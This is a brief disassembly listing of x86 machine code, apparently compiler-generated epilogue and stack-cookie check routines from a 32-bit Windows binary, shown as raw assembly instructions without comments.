add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10081869
push ecx
push edx
call fcn.100859f6
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10085995
mov esp, ebp
pop ebp
ret
call fcn.1008ac0f
int3